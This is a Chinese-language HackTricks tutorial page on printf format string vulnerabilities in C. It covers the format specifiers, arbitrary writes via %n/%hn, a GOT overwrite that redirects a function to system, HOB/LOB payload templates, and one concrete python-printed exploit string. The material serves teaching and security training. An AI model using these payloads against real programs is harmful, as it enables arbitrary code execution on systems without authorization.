mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
79 lines
4.7 KiB
Markdown
79 lines
4.7 KiB
Markdown
|
# 格式化字符串
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|||
|
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|||
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|||
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|||
|
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## 基本信息
|
|||
|
|
|||
|
在C中,**`printf`**是一个函数,可用于**打印**一些字符串。该函数期望的**第一个参数**是**带有格式化符号的原始文本**。接下来期望的参数是要**替换**原始文本中的**格式化符号**的**值**。
|
|||
|
|
|||
|
当将**攻击者文本作为第一个参数**传递给此函数时,漏洞就会出现。攻击者将能够通过**滥用printf格式化字符串的能力**来**编写任何地址中的任何数据**,从而能够**执行任意代码**。
|
|||
|
|
|||
|
格式化符号:
|
|||
|
```bash
|
|||
|
%08x —> 8 hex bytes
|
|||
|
%d —> Entire
|
|||
|
%u —> Unsigned
|
|||
|
%s —> String
|
|||
|
%n —> Number of written bytes
|
|||
|
%hn —> Occupies 2 bytes instead of 4
|
|||
|
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
|||
|
```
|
|||
|
**`%n`** **写入**了**写入的字节数**到**指定的地址。写入**与我们需要**写入的十六进制数一样多的字节**是您可以**写入任何数据**的方法。
|
|||
|
```bash
|
|||
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
|||
|
AAAA.%500\$08x —> Param at offset 500
|
|||
|
```
|
|||
|
### **利用流程**
|
|||
|
|
|||
|
如前所述,此漏洞允许**在任何地址上写入任何内容(任意写入)**。
|
|||
|
|
|||
|
目标是**覆盖**稍后将被调用的**GOT表**中函数的**地址**。理想情况下,我们可以将地址设置为位于可执行部分的**shellcode**,但很可能您无法在可执行部分编写shellcode。\
|
|||
|
因此,另一个选项是**覆盖**一个**从用户接收参数**的**函数**,并将其指向**`system`**函数。
|
|||
|
|
|||
|
通常需要执行两个步骤来写入地址:首先写入地址的**2字节**,然后写入另外的2字节。为此,使用**`$hn`**。
|
|||
|
|
|||
|
**HOB**用于地址的2个高字节\
|
|||
|
**LOB**用于地址的2个低字节
|
|||
|
|
|||
|
因此,由于格式字符串的工作方式,您需要**首先写入较小的**\[HOB,LOB],然后再写入另一个。
|
|||
|
|
|||
|
如果 HOB < LOB\
|
|||
|
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
|||
|
|
|||
|
如果 HOB > LOB\
|
|||
|
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
|||
|
|
|||
|
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
|||
|
|
|||
|
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
|||
|
|
|||
|
## Pwntools 模板
|
|||
|
|
|||
|
您可以在以下位置找到准备此类漏洞的利用的模板:
|
|||
|
|
|||
|
{% content-ref url="format-strings-template.md" %}
|
|||
|
[format-strings-template.md](format-strings-template.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|||
|
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|||
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|||
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* 通过向[hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|||
|
|
|||
|
</details>
|